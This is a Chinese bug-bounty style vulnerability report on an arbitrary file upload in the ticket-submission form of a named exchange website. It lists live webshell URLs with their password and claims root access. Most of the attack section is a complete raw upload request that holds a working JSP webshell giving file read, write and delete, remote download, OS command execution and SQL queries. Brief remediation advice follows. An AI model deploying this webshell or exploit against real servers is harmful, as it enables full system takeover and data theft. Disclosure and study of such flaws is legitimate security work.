【漏洞学习】DVP-2018-01729（提交工单处任意文件上传getshell）

漏洞URL

注册网站账号后登陆。https://www.buex.com/

测试账户：1*********4

密码：t********6

简要描述

登陆后，来到提交工单处：

https://www.buex.com/?ref=block123#/submit

输入内容，上传附件：

抓包如下：

网站只验证了文件头，没有验证后缀，导致文件上传漏洞

getshell：

https://www.buex.com//u/img/2018/08/387fc024-d2a4-46c4-9b6a-07ef7a29256d.jsp

一句话木马地址：

https://www.buex.com///u/img/2018/08/12cc7325-7fc2-4b26-b5d1-e65217f9df86.jsp

密码：wm

漏洞证明

root权限

漏洞利用代码

POST /uploadfile HTTP/1.1
Host: www.buex.com
Connection: close
Content-Length: 10154
Origin: https://www.buex.com
locale: CN
User-Agent: Mo*****************************
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUYxMieA5KeRYc19G
Accept: application/json, text/plain, */*
_token: cFNDd1A*********************RVhjak4=
_uuid: 10*******5
Referer: https://www.buex.com/?ref=block123
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: locale=CN; JSESSIONID=1rap*********sly3h76ny; _userid=8fba******1d968260f075f64e8b81d614746a2d2808dcbcb66031c96cfca0badb186358a2a0fc5******7dab80f4bc2; _uname=1*********4; _uuid=1*****5; _token=c******xdFN******Eh0YWo5czBhdXhjOThqRVhjak4%3D

------WebKitFormBoundaryUYxMieA5KeRYc19G Content-Disposition: form-data; name="file"; filename="111.jsp" Content-Type: image/jpeg GIF89a <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%> <%!String Pwd = "wm"; String EC(String s, String c) throws Exception { return s; }//new String(s.getBytes("ISO-8859-1"),c);} Connection GC(String s) throws Exception { String[] x = s.trim().split("\r\n"); Class.forName(x[0].trim()).newInstance(); Connection c = DriverManager.getConnection(x[1].trim()); if (x.length > 2) { c.setCatalog(x[2].trim()); } return c; } void AA(StringBuffer sb) throws Exception { File r[] = File.listRoots(); for (int i = 0; i < r.length; i++) { sb.append(r[i].toString().substring(0, 2)); } } void BB(String s, StringBuffer sb) throws Exception { File oF = new File(s), l[] = oF.listFiles(); String sT, sQ, sF = ""; java.util.Date dt; SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); for (int i = 0; i < l.length; i++) { dt = new java.util.Date(l[i].lastModified()); sT = fm.format(dt); sQ = l[i].canRead() ? "R" : ""; sQ += l[i].canWrite() ? " W" : ""; if (l[i].isDirectory()) { sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"); } else { sF += l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t" + sQ + "\n"; } } sb.append(sF); } void EE(String s) throws Exception { File f = new File(s); if (f.isDirectory()) { File x[] = f.listFiles(); for (int k = 0; k < x.length; k++) { if (!x[k].delete()) { EE(x[k].getPath()); } } } f.delete(); } void FF(String s, HttpServletResponse r) throws Exception { int n; byte[] b = new byte[512]; r.reset(); ServletOutputStream os = r.getOutputStream(); BufferedInputStream is = new BufferedInputStream(new FileInputStream(s)); os.write(("->" + "|").getBytes(), 0, 3); while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } os.write(("|" + "<-").getBytes(), 0, 3); os.close(); is.close(); } void GG(String s, String d) throws Exception { String h = "0123456789ABCDEF"; int n; File f = new File(s); f.createNewFile(); FileOutputStream os = new FileOutputStream(f); for (int i = 0; i < d.length(); i += 2) { os .write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d .charAt(i + 1)))); } os.close(); } void HH(String s, String d) throws Exception { File sf = new File(s), df = new File(d); if (sf.isDirectory()) { if (!df.exists()) { df.mkdir(); } File z[] = sf.listFiles(); for (int j = 0; j < z.length; j++) { HH(s + "/" + z[j].getName(), d + "/" + z[j].getName()); } } else { FileInputStream is = new FileInputStream(sf); FileOutputStream os = new FileOutputStream(df); int n; byte[] b = new byte[512]; while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } is.close(); os.close(); } } void II(String s, String d) throws Exception { File sf = new File(s), df = new File(d); sf.renameTo(df); } void JJ(String s) throws Exception { File f = new File(s); f.mkdir(); } void KK(String s, String t) throws Exception { File f = new File(s); SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); java.util.Date dt = fm.parse(t); f.setLastModified(dt.getTime()); } void LL(String s, String d) throws Exception { URL u = new URL(s); int n; FileOutputStream os = new FileOutputStream(d); HttpURLConnection h = (HttpURLConnection) u.openConnection(); InputStream is = h.getInputStream(); byte[] b = new byte[512]; while ((n = is.read(b, 0, 512)) != -1) { os.write(b, 0, n); } os.close(); is.close(); h.disconnect(); } void MM(InputStream is, StringBuffer sb) throws Exception { String l; BufferedReader br = new BufferedReader(new InputStreamReader(is)); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } } void NN(String s, StringBuffer sb) throws Exception { Connection c = GC(s); ResultSet r = c.getMetaData().getCatalogs(); while (r.next()) { sb.append(r.getString(1) + "\t"); } r.close(); c.close(); } void OO(String s, StringBuffer sb) throws Exception { Connection c = GC(s); String[] t = { "TABLE" }; ResultSet r = c.getMetaData().getTables(null, null, "%", t); while (r.next()) { sb.append(r.getString("TABLE_NAME") + "\t"); } r.close(); c.close(); } void PP(String s, StringBuffer sb) throws Exception { String[] x = s.trim().split("\r\n"); Connection c = GC(s); Statement m = c.createStatement(1005, 1007); ResultSet r = m.executeQuery("select * from " + x[3]); ResultSetMetaData d = r.getMetaData(); for (int i = 1; i <= d.getColumnCount(); i++) { sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i) + ")\t"); } r.close(); m.close(); c.close(); } void QQ(String cs, String s, String q, StringBuffer sb) throws Exception { int i; Connection c = GC(s); Statement m = c.createStatement(1005, 1008); try { ResultSet r = m.executeQuery(q); ResultSetMetaData d = r.getMetaData(); int n = d.getColumnCount(); for (i = 1; i <= n; i++) { sb.append(d.getColumnName(i) + "\t|\t"); } sb.append("\r\n"); while (r.next()) { for (i = 1; i <= n; i++) { sb.append(EC(r.getString(i), cs) + "\t|\t"); } sb.append("\r\n"); } r.close(); } catch (Exception e) { sb.append("Result\t|\t\r\n"); try { m.executeUpdate(q); sb.append("Execute Successfully!\t|\t\r\n"); } catch (Exception ee) { sb.append(ee.toString() + "\t|\t\r\n"); } } m.close(); c.close(); }%> <% String cs = request.getParameter("z0")==null?"gbk": request.getParameter("z0") + ""; request.setCharacterEncoding(cs); response.setContentType("text/html;charset=" + cs); String Z = EC(request.getParameter(Pwd) + "", cs); String z1 = EC(request.getParameter("z1") + "", cs); String z2 = EC(request.getParameter("z2") + "", cs); StringBuffer sb = new StringBuffer(""); try { sb.append("->" + "|"); if (Z.equals("A")) { String s = new File(application.getRealPath(request .getRequestURI())).getParent(); sb.append(s + "\t"); if (!s.substring(0, 1).equals("/")) { AA(sb); } } else if (Z.equals("B")) { BB(z1, sb); } else if (Z.equals("C")) { String l = ""; BufferedReader br = new BufferedReader( new InputStreamReader(new FileInputStream(new File( z1)))); while ((l = br.readLine()) != null) { sb.append(l + "\r\n"); } br.close(); } else if (Z.equals("D")) { BufferedWriter bw = new BufferedWriter( new OutputStreamWriter(new FileOutputStream( new File(z1)))); bw.write(z2); bw.close(); sb.append("1"); } else if (Z.equals("E")) { EE(z1); sb.append("1"); } else if (Z.equals("F")) { FF(z1, response); } else if (Z.equals("G")) { GG(z1, z2); sb.append("1"); } else if (Z.equals("H")) { HH(z1, z2); sb.append("1"); } else if (Z.equals("I")) { II(z1, z2); sb.append("1"); } else if (Z.equals("J")) { JJ(z1); sb.append("1"); } else if (Z.equals("K")) { KK(z1, z2); sb.append("1"); } else if (Z.equals("L")) { LL(z1, z2); sb.append("1"); } else if (Z.equals("M")) { String[] c = { z1.substring(2), z1.substring(0, 2), z2 }; Process p = Runtime.getRuntime().exec(c); MM(p.getInputStream(), sb); MM(p.getErrorStream(), sb); } else if (Z.equals("N")) { NN(z1, sb); } else if (Z.equals("O")) { OO(z1, sb); } else if (Z.equals("P")) { PP(z1, sb); } else if (Z.equals("Q")) { QQ(cs, z1, z2, sb); } } catch (Exception e) { sb.append("ERROR" + ":// " + e.toString()); } sb.append("|" + "<-"); out.print(sb.toString()); %> ------WebKitFormBoundaryUYxMieA5KeRYc19G--

修复方案

1.文件类型验证
  检验上传文件的后缀名，设定允许上传文件类型白名单；
  检查文件头信息，判断文件类型；
  限制文件大小；
  在服务端进行安全检查，避免利用客户端传入的信息作为检查依据。
2.存储路径安全
  避免允许用户设定或选择存储路径和保存的文件名，严格检测提交数据中是否含有中断符；
  上传文件和新建目录；
  上传文件尽可能的重命名，如果不能做到这一点，应该保证上传的文件名不包括特殊字符，新建的目录应该保证目录名不包含特殊字符
3.严格分配文件访问权限策略
  使用最严格的访问权限策略来保护上传或新建的文件和目录。

Token 使用原则

Token要足够随机————只有这样才算不可预测
Token是一次性的，即每次请求成功后要更新Token————这样可以增加攻击难度，增加预测难度
Token要注意保密性————敏感操作使用post，防止Token出现在URL中